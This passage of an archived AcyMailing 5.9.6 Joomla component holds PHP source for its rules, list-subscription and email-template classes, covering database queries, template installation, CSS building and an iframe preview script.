 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class rulesClass extends acymailingClass{

	var $tables = array('rules');
	var $pkey = 'ruleid';
	var $errors = array();

	function getRules($all = true){
		$rules = acymailing_loadObjectList('SELECT * FROM `#__acymailing_rules` '.($all ? '' : 'WHERE published = 1').' ORDER BY `ordering` ASC');

		foreach($rules as $id => $rule){
			$rules[$id] = $this->_prepareRule($rule);
		}
		return $rules;
	}

	function get($ruleid, $default = null){
		$query = 'SELECT * FROM '.acymailing_table('rules').' WHERE `ruleid` = '.intval($ruleid).' LIMIT 1';
		$rule = acymailing_loadObject($query);

		return $this->_prepareRule($rule);
	}

	function _prepareRule($rule){
		$vals = array('executed_on','action_message','action_user');
		foreach($vals as $oneVal){
			if(!empty($rule->$oneVal)) $rule->$oneVal = unserialize($rule->$oneVal);
		}

		return $rule;
	}

	function saveForm(){

		$rule = new stdClass();
		$rule->ruleid = acymailing_getCID('ruleid');
		if(empty( $rule->ruleid)){
			$rule->ordering = intval(acymailing_loadResult('SELECT max(ordering) FROM `#__acymailing_rules`')) + 1;
		}
		$rule->executed_on = '';
		$rule->action_message = '';
		$rule->action_user = '';

		$formData = acymailing_getVar('array',  'data', array(), '');

		foreach($formData['rule'] as $column => $value){
			acymailing_secureField($column);
			if(is_array($value)){
				$rule->$column = serialize($value);
			}else{
				$rule->$column = strip_tags($value);
			}
		}


		$ruleid = $this->save($rule);
		if(!$ruleid) return false;

		acymailing_setVar( 'ruleid', $ruleid);
		return true;

	}
}
com_acymailing/classes/listsub.php000060400000011225152455305300013351 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listsubClass extends acymailingClass{

	var $type = 'list';
	var $gid;
	var $checkAccess = true;
	var $sendNotif = true;
	var $sendConf = true;
	var $forceConf = false;
	var $survey = '';
	var $campaigndelay = 0;
	var $skipedfollowups = 0;

	function updateSubscription($subid, $lists){

		$result = true;
		$time = time();

		$listHelper = acymailing_get('helper.list');
		$listHelper->sendNotif = $this->sendNotif;
		$listHelper->sendConf = $this->sendConf;
		$listHelper->forceConf = $this->forceConf;
		$listHelper->survey = $this->survey;
		$listHelper->campaigndelay = $this->campaigndelay;

		foreach($lists as $status => $listids){
			if(empty($listids)) continue;

			acymailing_arrayToInteger($listids);
			if($status == '-1'){
				$column = 'unsubdate';
			}else $column = 'subdate';

			$query = 'UPDATE '.acymailing_table('listsub').' SET `status` = '.intval($status).','.$column.'='.$time.' WHERE subid = '.intval($subid).' AND listid IN ('.implode(',', $listids).')';
			$affected = acymailing_query($query);
			$result = $affected !== false && $result;

			if($status == 1){
				$listHelper->subscribe($subid, $listids);
			}elseif($status == -1){
				$listHelper->unsubscribe($subid, $listids);
			}
		}

		return $result;
	}

	function removeSubscription($subid, $listids){

		acymailing_arrayToInteger($listids);
		$query = 'DELETE FROM '.acymailing_table('listsub').' WHERE subid = '.intval($subid).' AND listid IN ('.implode(',', $listids).')';
		acymailing_query($query);

		$listHelper = acymailing_get('helper.list');
		$listHelper->sendNotif = $this->sendNotif;
		$listHelper->sendConf = $this->sendConf;
		$listHelper->forceConf = $this->forceConf;
		$listHelper->unsubscribe($subid, $listids);

		return true;
	}

	function addSubscription($subid, $lists){

		$result = true;
		$time = time();
		$subid = intval($subid);

		$listHelper = acymailing_get('helper.list');
		$listHelper->campaigndelay = $this->campaigndelay;
		$listHelper->skipedfollowups = $this->skipedfollowups;
		$listHelper->sendNotif = $this->sendNotif;
		$listHelper->sendConf = $this->sendConf;
		$listHelper->forceConf = $this->forceConf;

		foreach($lists as $status => $listids){
			$status = intval($status);
			acymailing_arrayToInteger($listids);

			$allResults = acymailing_loadObjectList('SELECT `listid`,`access_sub` FROM '.acymailing_table('list').' WHERE `listid` IN ('.implode(',', $listids).') AND `type` = \'list\'', 'listid');
			$listids = array_keys($allResults);

			if($status == '-1'){
				$column = 'unsubdate';
			}else $column = 'subdate';

			$values = array();
			foreach($listids as $listid){
				if(empty($listid)) continue;
				if($status > 0 && acymailing_level(3)){
					if((!acymailing_isAdmin() || !empty($this->gid)) && $this->checkAccess && $allResults[$listid]->access_sub != 'all'){
						if(!acymailing_isAllowed($allResults[$listid]->access_sub, $this->gid)) continue;
					}
				}
				$values[] = intval($listid).','.$subid.','.$status.','.$time;
			}

			if(empty($values)) continue;

			$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (listid,subid,`status`,'.$column.') VALUES ('.implode('),(', $values).')';
			$affected = acymailing_query($query);
			$result = $affected !== false && $result;

			if($status == 1){
				$listHelper->subscribe($subid, $listids);
			}
		}

		return $result;
	}

	function getSubscription($subid){
		$query = 'SELECT * FROM '.acymailing_table('listsub').' as a LEFT JOIN '.acymailing_table('list').' as b on a.listid = b.listid WHERE a.subid = '.intval($subid).' AND b.type = \''.$this->type.'\' ORDER BY b.ordering ASC';
		return acymailing_loadObjectList($query, 'listid');
	}

	function getSubscriptionString($subid, $dates = false){
		$usersubscription = $this->getSubscription($subid);
		$subscriptionString = '';
		if(!empty($usersubscription)){
			$subscriptionString = '<ul>';
			foreach($usersubscription as $onesub){
				$status = ($onesub->status == 1) ? acymailing_translation('SUBSCRIBED') : (($onesub->status == -1) ? acymailing_translation('UNSUBSCRIBED') : acymailing_translation('PENDING_SUBSCRIPTION'));
				$subscriptionString .= '<li>['.$onesub->listid.'] '.$onesub->name.' : '.$status;
				if($dates) $subscriptionString .= ' - '.acymailing_getDate($onesub->status == -1 ? $onesub->unsubdate : $onesub->subdate, acymailing_translation('DATE_FORMAT_LC'));
				$subscriptionString .= '</li>';
			}
			$subscriptionString .= '</ul>';
		}

		return $subscriptionString;
	}
}
com_acymailing/classes/template.php000060400000101566152455305300013507 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class templateClass extends acymailingClass{

	var $tables = array('template');
	var $pkey = 'tempid';
	var $namekey = 'alias';
	var $templateNames = array();
	var $archiveSection = false;
	var $proposedAreas = false;
	var $templateId = "";
	var $checkAreas = true;

	function get($tempid, $default = null){
		$column = is_numeric($tempid) ? 'tempid' : 'name';
		$template = acymailing_loadObject('SELECT * FROM '.acymailing_table('template').' WHERE '.$column.' = '.acymailing_escapeDB($tempid).' LIMIT 1');
		return $this->_prepareTemplate($template);
	}

	function getTemplates($key = null, $contains = null){
		$query = 'SELECT * FROM '.acymailing_table('template');
		if(!empty($contains)) $query .= ' WHERE body LIKE '.acymailing_escapeDB('%'.$contains.'%');
		$templates = acymailing_loadObjectList($query, $key);
		foreach($templates as &$template){
			$template = $this->_prepareTemplate($template);
		}
		return $templates;
	}

	function getDefault(){
		$queryDefaultTemp = 'SELECT * FROM '.acymailing_table('template').' WHERE premium = 1 AND published = 1 ORDER BY ordering ASC LIMIT 1';
		if(acymailing_level(3)){
			$groups = acymailing_getGroupsByUser(acymailing_currentUserId(), false);
			$condGroup = '';
			foreach($groups as $group){
				$condGroup .= ' OR access LIKE (\'%,'.$group.',%\')';
			}
			$queryDefaultTemp = 'SELECT * FROM '.acymailing_table('template').' WHERE premium = 1 AND published = 1  AND (access = \'all\' '.$condGroup.') ORDER BY ordering ASC LIMIT 1';
		}

		$template = acymailing_loadObject($queryDefaultTemp);
		if(!empty($template->subject)) $template->subject = acyEmoji::Decode($template->subject);
		return $this->_prepareTemplate($template);
	}

	private function _prepareTemplate($template){
		if(!isset($template->styles)) return $template;

		if(empty($template->styles)){
			$template->styles = array();
		}else{
			$template->styles = unserialize($template->styles);
		}

		$template->subject = acyEmoji::Decode($template->subject);

		return $template;
	}

	function saveForm(){

		$template = new stdClass();
		$template->tempid = acymailing_getCID('tempid');

		$formData = acymailing_getVar('array', 'data', array(), '');

		if(!empty($formData['template']['category']) && $formData['template']['category'] == -1){
			$formData['template']['category'] = acymailing_getVar('string', 'newcategory', '');
		}
		$formData['template']['subject'] = acyEmoji::Encode($formData['template']['subject']);

		foreach($formData['template'] as $column => $value){
			acymailing_secureField($column);
			if($column == 'header'){
				$template->$column = $value;
				continue;
			}
			$template->$column = strip_tags($value);
		}

		$styles = acymailing_getVar('array', 'styles', array(), '');
		foreach($styles as $class => $oneStyle){
			$styles[$class] = str_replace('"', "'", $oneStyle);
			if(empty($oneStyle)) unset($styles[$class]);
		}

		$newStyles = acymailing_getVar('array', 'otherstyles', array(), '');
		if(!empty($newStyles)){
			foreach($newStyles['classname'] as $id => $className){
				if(!empty($className) AND $className != acymailing_translation('CLASS_NAME') AND !empty($newStyles['style'][$id]) AND $newStyles['style'][$id] != acymailing_translation('CSS_STYLE')){
					$className = str_replace(array(',', ' ', ':', '.', '#'), '', $className);
					$styles[$className] = str_replace('"', "'", $newStyles['style'][$id]);
				}
			}
		}
		$template->styles = serialize($styles);

		if(empty($template->thumb)){
			unset($template->thumb);
		}elseif($template->thumb == 'delete'){
			$template->thumb = '';
		}

		if(empty($template->readmore)){
			unset($template->readmore);
		}elseif($template->readmore == 'delete'){
			$template->readmore = '';
		}

		$template->body = acymailing_getVar('string', 'editor_body', '', '', ACY_ALLOWRAW);
		$template->body = acymailing_filterText($template->body);

		if(!empty($styles['color_bg'])){
			$pat1 = '#^([^<]*<[^>]*background-color:)([^;">]{1,30})#i';
			$found = false;
			if(preg_match($pat1, $template->body)){
				$template->body = preg_replace($pat1, '$1'.$styles['color_bg'], $template->body);
				$found = true;
			}
			$pat2 = '#^([^<]*<[^>]*bgcolor=")([^;">]{1,10})#i';
			if(preg_match($pat2, $template->body)){
				$template->body = preg_replace($pat2, '$1'.$styles['color_bg'], $template->body);
				$found = true;
			}
			if(!$found){
				$template->body = '<div style="background-color:'.$styles['color_bg'].';" width="100%">'.$template->body.'</div>';
			}
		}

		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$acypluginsHelper->cleanHtml($template->body);

		$template->description = acymailing_getVar('string', 'editor_description', '', '', ACY_ALLOWHTML);

		$tempid = $this->save($template);
		if(!$tempid) return false;

		if(empty($template->tempid)){
			$orderClass = acymailing_get('helper.order');
			$orderClass->pkey = 'tempid';
			$orderClass->table = 'template';
			$orderClass->reOrder();
		}

		$this->createTemplateFile($tempid);

		acymailing_setVar('tempid', $tempid);
		return true;
	}

	function save($element){
		if(empty($element->tempid)){
			if(empty($element->namekey)) $element->namekey = time().acymailing_cleanSlug($element->name);
		}else{
			if(file_exists(ACYMAILING_TEMPLATE.'css'.DS.'template_'.intval($element->tempid).'.css')){
				
				if(!acymailing_deleteFile(ACYMAILING_TEMPLATE.'css'.DS.'template_'.intval($element->tempid).'.css')){
					echo acymailing_display('Could not delete the file '.ACYMAILING_TEMPLATE.'css'.DS.'template_'.intval($element->tempid).'.css', 'error');
				}
			}
		}

		if(!empty($element->styles) AND !is_string($element->styles)) $element->styles = serialize($element->styles);

		if(!empty($element->stylesheet)){
			$element->stylesheet = preg_replace('#:(active|current|visited)#i', '', $element->stylesheet);
		}

		return parent::save($element);
	}

	function detecttemplates($folder){
		$allFiles = acymailing_getFiles($folder);
		if(!empty($allFiles)){
			foreach($allFiles as $oneFile){
				if(preg_match('#^.*(html|htm)$#i', $oneFile)){
					if($this->installtemplate($folder.DS.$oneFile)) return true;
				}
			}
		}

		$status = false;
		$allFolders = acymailing_getFolders($folder);
		if(!empty($allFolders)){
			foreach($allFolders as $oneFolder){
				$status = $this->detecttemplates($folder.DS.$oneFolder) || $status;
			}
		}

		return $status;
	}

	function buildCSS($styles, $stylesheet){
		$inline = '';

		if(preg_match_all('#@import[^;]*;#is', $stylesheet, $results)){
			foreach($results[0] as $oneResult){
				$inline .= trim($oneResult)."\n";
				$stylesheet = str_replace($oneResult, '', $stylesheet);
			}
		}

		if(!empty($styles)){
			foreach($styles as $class => $style){
				if(preg_match('#^tag_(.*)$#', $class, $result)){
					if(!empty($style)) $inline .= $result[1].' { '.$style.' } '."\n";
				}elseif($class != 'color_bg'){
					if(!empty($style)) $inline .= '.'.$class.' {'.$style.'} '."\n";
				}else{
					if(!empty($style)) $inline .= 'body{background-color:'.$style.';} '."\n";
				}
			}
		}

		if(version_compare(PHP_VERSION, '5.0.0', '>=') && class_exists('DOMDocument') && function_exists('mb_convert_encoding')){
			$inline .= 'a img{ border:0px; text-decoration:none;} '."\n";
			$inline .= $stylesheet;
		}

		return $inline;
	}

	function createTemplateFile($id){
		if(empty($id)) return '';
		$cssfile = ACYMAILING_TEMPLATE.'css'.DS.'template_'.$id.'.css';
		if(file_exists($cssfile)) return $cssfile;

		$template = $this->get($id);
		if(empty($template->tempid)) return '';
		$css = $this->buildCSS($template->styles, $template->stylesheet);

		if(empty($css)) return '';

		

		acymailing_createDir(ACYMAILING_TEMPLATE.'css');

		if(acymailing_writeFile($cssfile, $css)){
			return $cssfile;
		}else{
			acymailing_enqueueMessage('Could not create the file '.$cssfile, 'error');
			return '';
		}
	}

	function installtemplate($filepath){
		$fileContent = file_get_contents($filepath);

		$newTemplate = new stdClass();
		$newTemplate->name = trim(preg_replace('#[^a-z0-9]#i', ' ', substr(dirname($filepath), strpos($filepath, '_template'))));
		if(preg_match('#< *title[^>]*>(.*)< */ *title *>#Uis', $fileContent, $results) && !empty($results[1])) $newTemplate->name = $results[1];

		if(preg_match('#< *meta *name="description" *content="([^"]*)"#Uis', $fileContent, $results) && !empty($results[1])) $newTemplate->description = $results[1];
		if(preg_match('#< *meta *name="fromname" *content="([^"]*)"#Uis', $fileContent, $results) && !empty($results[1])) $newTemplate->fromname = $results[1];
		if(preg_match('#< *meta *name="fromemail" *content="([^"]*)"#Uis', $fileContent, $results) && !empty($results[1])) $newTemplate->fromemail = $results[1];
		if(preg_match('#< *meta *name="replyname" *content="([^"]*)"#Uis', $fileContent, $results) && !empty($results[1])) $newTemplate->replyname = $results[1];
		if(preg_match('#< *meta *name="replyemail" *content="([^"]*)"#Uis', $fileContent, $results) && !empty($results[1])) $newTemplate->replyemail = $results[1];

		$newFolder = preg_replace('#[^a-z0-9]#i', '_', strtolower($newTemplate->name));
		$newTemplateFolder = $newFolder;
		$i = 1;
		while(is_dir(ACYMAILING_TEMPLATE.$newTemplateFolder)){
			$newTemplateFolder = $newFolder.'_'.$i;
			$i++;
		}
		$newTemplate->namekey = rand(0, 10000).$newTemplateFolder;
		$moveResult = acymailing_copyFolder(dirname($filepath), ACYMAILING_TEMPLATE.$newTemplateFolder);
		if($moveResult !== true){
			acymailing_display(array('Error copying folder from '.dirname($filepath).' to '.ACYMAILING_TEMPLATE.$newTemplateFolder, $moveResult), 'error');
			return false;
		}

		if(!file_exists(ACYMAILING_TEMPLATE.$newTemplateFolder.DS.'index.html')){
			$indexFile = '<html><body bgcolor="#FFFFFF"></body></html>';
			acymailing_writeFile(ACYMAILING_TEMPLATE.$newTemplateFolder.DS.'index.html', $indexFile);
		}

		$fileContent = str_replace(
								array(
									'src="./',
									'src="../',
									'src="images/'),
								array(
									'src="'.ACYMAILING_MEDIA_URL.'templates/'.$newTemplateFolder.'/',
									'src="'.ACYMAILING_MEDIA_URL.'templates/',
									'src="'.ACYMAILING_MEDIA_URL.'templates/'.$newTemplateFolder.'/images/'),
								$fileContent);

		$fileContent = preg_replace('#(src|background)[ ]*=[ ]*\"(?!(https?://|/))(?:\.\./|\./)?#', '$1="'.ACYMAILING_MEDIA_FOLDER.'/templates/'.$newTemplateFolder.'/', $fileContent);

		if(preg_match('#< *body[^>]*>(.*)< */ *body *>#Uis', $fileContent, $results)){
			$newTemplate->body = $results[1];
		}else{
			$newTemplate->body = $fileContent;
		}

		$newTemplate->stylesheet = '';
		if(preg_match_all('#< *style[^>]*>(.*)< */ *style *>#Uis', $fileContent, $results)){
			$newTemplate->stylesheet .= preg_replace('#(<!--|-->)#s', '', implode("\n", $results[1]));
		}
		$cssFiles = array();
		$cssFiles[ACYMAILING_TEMPLATE.$newTemplateFolder] = acymailing_getFiles(ACYMAILING_TEMPLATE.$newTemplateFolder, '\.css$');
		$subFolders = acymailing_getFolders(ACYMAILING_TEMPLATE.$newTemplateFolder);
		foreach($subFolders as $oneFolder){
			$cssFiles[ACYMAILING_TEMPLATE.$newTemplateFolder.DS.$oneFolder] = acymailing_getFiles(ACYMAILING_TEMPLATE.$newTemplateFolder.DS.$oneFolder, '\.css$');
		}

		foreach($cssFiles as $cssFolder => $cssFile){
			if(empty($cssFile)) continue;
			$newTemplate->stylesheet .= "\n".file_get_contents($cssFolder.DS.reset($cssFile));
		}

		if(!empty($newTemplate->stylesheet)){
			if(preg_match('#body *\{[^\}]*background-color:([^;\}]*)[;\}]#Uis', $newTemplate->stylesheet, $backgroundresults)){
				$newTemplate->styles['color_bg'] = trim($backgroundresults[1]);
				$newTemplate->stylesheet = preg_replace('#(body *\{[^\}]*)background-color:[^;\}]*[;\}]#Uis', '$1', $newTemplate->stylesheet);
			}

			$quickstyle = array('tag_h1' => 'h1', 'tag_h2' => 'h2', 'tag_h3' => 'h3', 'tag_h4' => 'h4', 'tag_h5' => 'h5', 'tag_h6' => 'h6', 'tag_a' => 'a', 'tag_ul' => 'ul', 'tag_li' => 'li', 'acymailing_unsub' => '\.acymailing_unsub', 'acymailing_online' => '\.acymailing_online', 'acymailing_title' => '\.acymailing_title', 'acymailing_content' => '\.acymailing_content', 'acymailing_readmore' => '\.acymailing_readmore');
			foreach($quickstyle as $styledb => $oneStyle){
				if(preg_match('#[^a-z\. ,] *'.$oneStyle.' *{([^}]*)}#Uis', $newTemplate->stylesheet, $quickstyleresults)){
					$newTemplate->styles[$styledb] = trim(str_replace(array("\n", "\r", "\t", "\s"), ' ', $quickstyleresults[1]));
					$newTemplate->stylesheet = str_replace($quickstyleresults[0], '', $newTemplate->stylesheet);
				}
			}
		}

		if(!empty($newTemplate->styles['color_bg'])){
			$pat1 = '#^([^<]*<[^>]*background-color:)([^;">]{1,10})#i';
			$found = false;
			if(preg_match($pat1, $newTemplate->body)){
				$newTemplate->body = preg_replace($pat1, '$1'.$newTemplate->styles['color_bg'], $newTemplate->body);
				$found = true;
			}
			$pat2 = '#^([^<]*<[^>]*bgcolor=")([^;">]{1,10})#i';
			if(preg_match($pat2, $newTemplate->body)){
				$newTemplate->body = preg_replace($pat2, '$1'.$newTemplate->styles['color_bg'], $newTemplate->body);
				$found = true;
			}
			if(!$found){
				$newTemplate->body = '<div style="background-color:'.$newTemplate->styles['color_bg'].';" width="100%">'.$newTemplate->body.'</div>';
			}
		}

		$foldersForPicts = array($newTemplateFolder);
		$otherFolders = acymailing_getFolders(ACYMAILING_TEMPLATE.$newTemplateFolder);
		foreach($otherFolders as $oneFold){
			$foldersForPicts[] = $newTemplateFolder.DS.$oneFold;
		}
		$allPictures = array();
		foreach($foldersForPicts as $oneFolder){
			$allPictures[$oneFolder] = acymailing_getFiles(ACYMAILING_TEMPLATE.$oneFolder);
		}
		foreach($allPictures as $folder => $pictfolders){
			foreach($pictfolders as $onePict){
				if(!preg_match('#\.(jpg|gif|png|jpeg|ico|bmp)$#i', $onePict)) continue;
				if(preg_match('#(thumbnail|screenshot|muestra)#i', $onePict)){
					$newTemplate->thumb = ACYMAILING_MEDIA_FOLDER.'/templates/'.str_replace(DS, '/', $folder).'/'.$onePict;
				}elseif(preg_match('#(readmore|lirelasuite)#i', $onePict)){
					$newTemplate->readmore = ACYMAILING_MEDIA_FOLDER.'/templates/'.str_replace(DS, '/', $folder).'/'.$onePict;
				}
			}
		}

		$newTemplate->ordering = 0;

		$tempid = $this->save($newTemplate);
		$this->templateId = $tempid;
		if($this->checkAreas){
			$this->proposedAreas = $this->proposeApplyAreas($tempid, false) || $this->proposedAreas;
		}

		$this->createTemplateFile($tempid);

		$orderClass = acymailing_get('helper.order');
		$orderClass->pkey = 'tempid';
		$orderClass->table = 'template';
		$orderClass->reOrder();

		$this->templateNames[] = $newTemplate->name;

		return true;
	}

	function displayPreview($idArea, $tempid, $newslettersubject = ''){

		if(isset($_SERVER["REQUEST_URI"])){
			$requestUri = $_SERVER["REQUEST_URI"];
		}else{
			$requestUri = $_SERVER['PHP_SELF'];
			if(!empty($_SERVER['QUERY_STRING'])) $requestUri = rtrim($requestUri, '/').'?'.$_SERVER['QUERY_STRING'];
		}
		$currentURL = (((!empty($_SERVER['HTTPS']) AND strtolower($_SERVER['HTTPS']) == "on") || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://').$_SERVER["HTTP_HOST"].$requestUri;

		$js = "var iframecreated = false;
				function acydisplayPreview(){
					var d = document, area = d.getElementById('$idArea');
					if(!area) return;
					if(iframecreated) return;
					iframecreated = true;
					var content = area.innerHTML;
					var myiframe = d.createElement(\"iframe\");
					myiframe.id = 'iframepreview';
					myiframe.style.width = '100%';
					myiframe.style.borderWidth = '0px';
					myiframe.allowtransparency = \"true\";
					myiframe.frameBorder = '0';
					area.innerHTML = '';
					area.appendChild(myiframe);
					myiframe.onload = function(){
						var iframeloaded = false;
						try{
							if(myiframe.contentDocument != null && initIframePreview(myiframe,content) && replaceAnchors(myiframe)){
								iframeloaded = true;
							}
						}catch(err){
							iframeloaded = false;
						}

						if(!iframeloaded){
							area.innerHTML = content;
						}
					}
					myiframe.src = '';

				}
				function resetIframeSize(myiframe){


					var innerDoc = (myiframe.contentDocument) ? myiframe.contentDocument : myiframe.contentWindow.document;
					var objToResize = (myiframe.style) ? myiframe.style : myiframe;
					if(objToResize.width != '100%') return;
					var newHeight = innerDoc.body.scrollHeight;
					if(!objToResize.height || parseInt(objToResize.height,10)+10 < newHeight || parseInt(objToResize.height,10)-10 > newHeight) objToResize.height = newHeight+'px';
					setTimeout(function(){resetIframeSize(myiframe);},1000);
				}
				function replaceAnchors(myiframe){
					var myiframedoc = myiframe.contentWindow.document;
					var myiframebody = myiframedoc.body;
					var el = myiframe;
					var myiframeOffset = el.offsetTop;
					while ( ( el = el.offsetParent ) != null )
					{
						myiframeOffset += el.offsetTop;
					}

					var elements = myiframebody.getElementsByTagName(\"a\");
					for( var i = elements.length - 1; i >= 0; i--){
						var aref = elements[i].getAttribute('href');
						if(!aref) continue;
						if(aref.indexOf(\"#\") != 0 && aref.indexOf(\"".addslashes($currentURL)."#\") != 0) continue;

						if(elements[i].onclick && elements[i].onclick != \"\") continue;

						var adest = aref.substring(aref.indexOf(\"#\")+1);
						if( adest.length < 1 ) continue;

						elements[i].dest = adest;
						elements[i].onclick = function(){
							elem = myiframedoc.getElementById(this.dest);
							if(!elem){
								elems = myiframedoc.getElementsByName(this.dest);
								if(!elems || !elems[0]) return false;
								elem = elems[0];
							}
							if( !elem ) return false;

							var el = elem;
							var elemOffset = el.offsetTop;
							while ( ( el = el.offsetParent ) != null )
							{
								elemOffset += el.offsetTop;
							}
							window.scrollTo(0,elemOffset+myiframeOffset-15);
							return false;
						};
					}
					return true;
				}
				function initIframePreview(myiframe,content){
					var d = document;

					var heads = myiframe.contentWindow.document.getElementsByTagName(\"head\");
					if(heads.length == 0){
						return false;
					}

					var head = heads[0];

					var myiframebodys = myiframe.contentWindow.document.getElementsByTagName('body');
					if(myiframebodys.length == 0){
						var myiframebody = d.createElement(\"body\");
						myiframe.appendChild(myiframebody);
					}else{
						var myiframebody = myiframebodys[0];
					}
					if(!myiframebody) return false;
					myiframebody.style.margin = '0px';
					myiframebody.style.padding = '0px';
					myiframebody.innerHTML = content;

					var title1 = d.createElement(\"title\");
					title1.innerHTML = '".addslashes($newslettersubject)."';


					var base1 = d.createElement(\"base\");
					base1.target = \"_blank\";

					head.appendChild(base1);

					var existingTitle = head.getElementsByTagName(\"title\");
					if(existingTitle.length == 0){
						head.appendChild(title1);
					}
					
					var meta1 = d.createElement('meta');
					meta1.name = 'viewport';
					meta1.content = 'width=device-width, initial-scale=1';

					head.appendChild(meta1);
				";
		if(!empty($tempid)){
			$js .= "var link1 = d.createElement(\"link\");
					link1.type = \"text/css\";
					link1.rel = \"stylesheet\";
					link1.href =  '".(rtrim(acymailing_rootURI(), '/').'/').ACYMAILING_MEDIA_FOLDER."/templates/css/template_".$tempid.".css?v=".@filemtime(ACYMAILING_MEDIA.'templates'.DS.'css'.DS.'template_'.$tempid.'.css')."';
					head.appendChild(link1);
				";
		}

		$js .= "var style1 = d.createElement(\"style\");
				style1.type = \"text/css\";
				style1.id = \"overflowstyle\";
				try{style1.innerHTML = 'html,body,iframe{overflow-y:hidden} ';}catch(err){style1.styleSheet.cssText = 'html,body,iframe{overflow-y:hidden} ';}
				";

		if($this->archiveSection){
			$js .= "try{style1.innerHTML += ' .hideonline{display:none;} ';}catch(err){style1.styleSheet.cssText += ' .hideonline{display:none;} ';}";
		}

		$js .= "
				head.appendChild(style1);
				resetIframeSize(myiframe);
				return true;
			}
			document.addEventListener(\"DOMContentLoaded\", function(){acydisplayPreview();});";

		acymailing_addScript(true, $js);

		$resize = "function previewResize(newWidth,newHeight){
			if(document.getElementById('iframepreview')){
				var myiframe = document.getElementById('iframepreview');
			}else{
				var myiframe = document.getElementById('newsletter_preview_area');
			}
			myiframe.style.width = newWidth;
			if(newHeight == '100%'){
				resetIframeSize(myiframe);
			}else{
				myiframe.style.height = newHeight;
				myiframe.contentWindow.document.getElementById('overflowstyle').media = \"print\";
			}
		}
		function previewSizeClick(elem){
			var ids = new Array('preview320','preview480','preview768','previewmax');
			for(var i=0;i<ids.length;i++){
				document.getElementById(ids[i]).className = 'previewsize '+ids[i];
			}
			elem.className += 'enabled';
		}";
		acymailing_addScript(true, $resize);
		$switchPict = "function switchPict(){
			var myiframe = document.getElementById('iframepreview');
			var myiframebody = myiframe.contentWindow.document.getElementsByTagName('body')[0];
			if(document.getElementById('previewpict').className == 'previewsize previewpictenabled'){
				remove = true;
				document.getElementById('previewpict').className = 'previewsize previewpict';
			}else{
				remove = false;
				document.getElementById('previewpict').className = 'previewsize previewpictenabled';
			}
			var elements = myiframebody.getElementsByTagName(\"img\");
			for( var i = elements.length - 1; i >= 0; i-- ) {
				if(remove){
					elements[i].src_temp = elements[i].src;
					elements[i].src = 'pictureremoved';
				}else{
					elements[i].src = elements[i].src_temp;
				}
			}
			if(myiframe.style.width == '100%'){
				resetIframeSize(myiframe);
			}
		}";
		acymailing_addScript(true, $switchPict);
	}

	function proposeApplyAreas($tempid, $addextrawarning = true){
		if(empty($tempid)) return false;

		$config = acymailing_config();
		if($config->get('editor') != 'acyeditor') return false;

		$template = $this->get($tempid);
		if(empty($template->body)) return false;
		if(strpos($template->body, 'acyeditor_')) return false;

		$messages = array('<a href="'.acymailing_completeLink('template&task=applyareas&tempid='.$tempid).'">'.acymailing_translation('ACYEDITOR_ADDAREAS').'</a>');
		if($addextrawarning) $messages[] = acymailing_translation('ACYEDITOR_ADDAREAS_ONLYFINISHED');
		acymailing_enqueueMessage($messages, 'warning');
		return true;
	}

	function applyAreas(&$html){

		if(strpos($html, 'acyeditor_')) return false;

		if(preg_match_all('#(<td[^>]*>) *(<img[^>]*> *</td>)#Uis', $html, $results)){
			foreach($results[0] as $i => $oneResult){
				if(preg_match('#class=("|\'])#Uis', $results[1][$i], $charused)){
					$newTag = str_replace('class='.$charused[1], 'class='.$charused[1].'acyeditor_picture ', $results[1][$i]);
				}else{
					$newTag = str_replace('<td', '<td class="acyeditor_picture"', $results[1][$i]);
				}
				$html = str_replace($results[0][$i], $newTag.$results[2][$i], $html);
			}
		}

		$textElements = array('td', 'div');
		$divhtml = $html;
		foreach($textElements as $starttag){
			if(!preg_match_all('#(<'.$starttag.'(?:(?!>|acyeditor_).)*>)((?:(?!<td|acyeditor_|<'.$starttag.').)*</'.$starttag.'>)#Uis', $divhtml, $results)) continue;

			$class = 'acyeditor_text';
			if($starttag == 'div') $class .= ' acyeditor_delete';

			foreach($results[0] as $i => $oneResult){

				$content = trim(str_replace(array(' ', '&nbsp;', "\n", "\r"), '', strip_tags($results[0][$i])));

				if(empty($content)) continue;

				if(preg_match('#class=("|\'])#Uis', $results[1][$i], $charused)){
					$newTag = str_replace('class='.$charused[1], 'class='.$charused[1].$class.' ', $results[1][$i]);
				}else{
					$newTag = str_replace('<'.$starttag, '<'.$starttag.' class="'.$class.'"', $results[1][$i]);
				}
				$html = str_replace($results[0][$i], $newTag.$results[2][$i], $html);
				$divhtml = str_replace($results[0][$i], '', $divhtml);
			}
		}

		if(preg_match_all('#(<tr[^>]*>)((?:(?!<tr|acyeditor_delete).)*</tr>)#Uis', $html, $results)){
			foreach($results[0] as $i => $oneResult){
				if(preg_match('#class=("|\'])#Uis', $results[1][$i], $charused)){
					$newTag = str_replace('class='.$charused[1], 'class='.$charused[1].'acyeditor_delete ', $results[1][$i]);
				}else{
					$newTag = str_replace('<tr', '<tr class="acyeditor_delete"', $results[1][$i]);
				}
				$html = str_replace($results[0][$i], $newTag.$results[2][$i], $html);
			}
		}

		if(preg_match_all('#(<table[^>]*>)((?:(?!<table).)*</table>)#Uis', $html, $results)){
			foreach($results[0] as $i => $newContent){
				if(strpos($newContent, '<tbody') === false){
					$newContent = preg_replace('#(<table[^>]*>)#Uis', '$1<tbody>', $newContent);
					$newContent = preg_replace('#(< */ *table *>)#Uis', '</tbody>$1', $newContent);
				}

				if(preg_match('#(<tbody[^>]*)class=("|\'])#Uis', $newContent, $charused)){
